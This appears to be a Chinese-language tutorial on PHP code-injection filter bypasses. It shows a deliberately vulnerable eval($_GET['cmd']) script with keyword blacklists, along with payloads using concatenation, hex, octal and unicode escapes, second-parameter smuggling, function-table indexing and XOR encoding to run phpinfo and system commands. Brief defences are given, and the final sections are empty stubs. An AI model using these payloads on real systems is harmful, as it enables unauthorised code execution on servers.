1.字符串拼接绕过 

在PHP开发中,字符串拼接是一种常见操作(例如使用.运算符:$str1 . $str2),但如果处理不当,它可能导致安全漏洞,如SQL注入或代码注入。攻击者可能通过精心构造的输入绕过简单的过滤机制。

这是含有危险漏洞的代码

<?php
    highlight_file(__FILE__);
    //字符串拼接绕过适用于绕过过滤具体关键字的限制
    //适用 PHP版本: PHP>=7
    error_reporting(0);
    $cmd = $_GET['cmd'];
    if(isset($cmd)) {
        if(preg_match('/phpinfo|system/i', $cmd)){
            die('No Hack!');
        }else{
            eval($cmd);
        }
    }else{
        echo "Welcome!";
    }
?>

代码分析:

  1. highlight_file(__FILE__);

    • 这个函数会把当前文件的源代码高亮显示出来。
  2. error_reporting(0);

    • 关闭所有错误报告。
    • 目的:防止代码执行报错时泄露路径或其他敏感信息。
  3. $cmd = $_GET['cmd'];

    • 接收 URL 参数 cmd 的值。
  4. if(preg_match('/phpinfo|system/i', $cmd))

    • 核心防御逻辑:使用正则表达式检查 $cmd 变量。
    • /phpinfo|system/i
      • phpinfo:匹配字符串 "phpinfo"。
      • |:逻辑或。
      • system:匹配字符串 "system"。
      • i:不区分大小写(Case Insensitive)。
    • 后果:如果 $cmd 中包含 "phpinfo" 或 "system" 这两个单词中的任何一个,脚本就会终止并输出 "No Hack!"。
  5. eval($cmd);

    • 核心漏洞点:如果上述正则检查通过(即没有检测到禁用词),代码就会直接执行用户输入的 $cmd
    • eval 是极其危险的函数,它会将字符串作为 PHP 代码执行。

拼接绕过:

字符串拼接绕过适用于绕过过滤具体关键字的限制

适用PHP版本: PHP>=7

Payload:

  • (p.h.p.i.n.f.o)(); == phpinfo();
  • (sy.(st).em)(whoami) == system(”whoami”);
  • (sy.(st).em)(who.ami) == system(”whoami”);
  • (s.y.s.t.e.m)("whoami") == system(”whoami”);

绕过原理:
 

if(preg_match('/phpinfo|system/i', $cmd))

这串防御代码,它查找的是连续的字符序列 phpinfo

1.在 Payload 中,单词被点号 . 分割开了。字符串变成了 p.h.p.i.n.f.o,因为有标点的存在所以并未匹配到,就会将这个代码放到eval()中去执行

2.既然正则没拦住,代码执行到了 eval('(p.h.p.i.n.f.o)();');。这时 PHP 的解析器开始工作:

  1. 字符串连接
    在 PHP 中,点号 . 是字符串连接符。
    p . h . p . i . n . f . o
    这一串代码在运行时,会被 PHP 自动拼接回原本的字符串:"phpinfo"

防御方法:

1.白名单机制
只允许特定的参数或操作,而不是让用户直接输入代码。

2.禁止危险函数
在 php.ini 配置文件中,使用 disable_functions 禁用 evalsystemexecpassthrushell_exec 等函数。这是从根本上解决代码注入问题的方法。

3.更严格的正则
如果必须使用正则,可以尝试过滤掉点号或其他连接符,或者使用更复杂的逻辑,但这通常很难做到万无一失。

2. 字符串转义绕过

攻击者利用编码、特殊字符或逻辑漏洞,绕过系统对敏感字符(如引号、空格、关键字)的过滤或转义,从而执行恶意代码。

漏洞代码与拼接绕过的相同

​
<?php
    highlight_file(__FILE__);
    //字符串拼接绕过适用于绕过过滤具体关键字的限制
    //适用 PHP版本: PHP>=7
    error_reporting(0);
    $cmd = $_GET['cmd'];
    if(isset($cmd)) {
        if(preg_match('/phpinfo|system/i', $cmd)){
            die('No Hack!');
        }else{
            eval($cmd);
        }
    }else{
        echo "Welcome!";
    }
?>

​

转义绕过:

字符串拼接绕过适用于绕过过滤具体关键字的限制

适用PHP版本: PHP>=7

  • Payload: "\x70\x68\x70\x69\x6e\x66\x6f"();         #phpinfo();
  • "\163\171\163\164\145\155" ('whoami');    #system('whoami');
  • "\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');      #system(id');
  • "\163\171\163\164\145\155"("\167\150\157\141\155\151");        #system('whoami');

防御方法与前面相同

3.多次传参绕过

多次传参绕过主要利用的是 Web服务器(如Apache/Nginx) 与 后端脚本语言(如PHP/Python) 在处理参数时的逻辑差异

简单来说,就是利用“前端只传一个,后端却收到多个”或者“WAF看第一个,代码取最后一个”的错位来绕过检测。

漏洞代码:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    echo 'current PHP version: ' . phpversion() . '<br>';
    $cmd = $_GET['cmd'];
    if(isset($cmd)) {
        if(preg_match('/phpinfo|system|exec|passthru|[\"\']/i', $cmd)) {
            die('No Hack!');
        } else {
            eval($cmd);
        }
    } else {
        echo "welcome ! ";
    }
?>

注意这里也禁用了单引号和双引号等,所以不能用之前的方法绕过

传参绕过:

原理分析:

  1. preg_match 检查 cmd 参数。 $ _GET[1](); 中没有phpinfo、没有引号,绕过成功

  2. eval 执行  $ _GET[1]();。

  3. $ _GET[1] 是 phpinfo

  4. 代码实际执行:phpinfo();

4.内置函数访问绕过

1.通过?cmd=print_r(get_defined_functions()[internal]);找到system函数的索引位置

2.执行get_defined_functions()[internal][1072](whoami)即可

原理分析:

  • [internal]:访问数组中的 internal 键,获取所有内置函数的列表。

  • [357]:这是关键。找到了 system(或其他执行函数)在数组中的索引位置。

    • 也就是说,get_defined_functions()['internal'][1072] 的值实际上就是字符串 "system"(或者 execpassthru 等)。

    • 注意:这里不需要引号,因为是在数组访问语法中,PHP 会自动将 internal 视为字符串(虽然会产生 E_NOTICE 警告,但 eval 会继续执行)

5.异或绕过

利用这些字符进行异或可以得到我们想要的字符 PS:取ASCII表中非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号 使用脚本进行转换:

构造:assert($_GET[_]); 使用脚本对每个字母进行转换,然后拼接 Payload:$_=assert;$__=_GET;$___=$$__;$_($___[_]);&_=phpinfo(); 对每个字母转换后: $_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

6.黑名单绕过

各种命令

更多推荐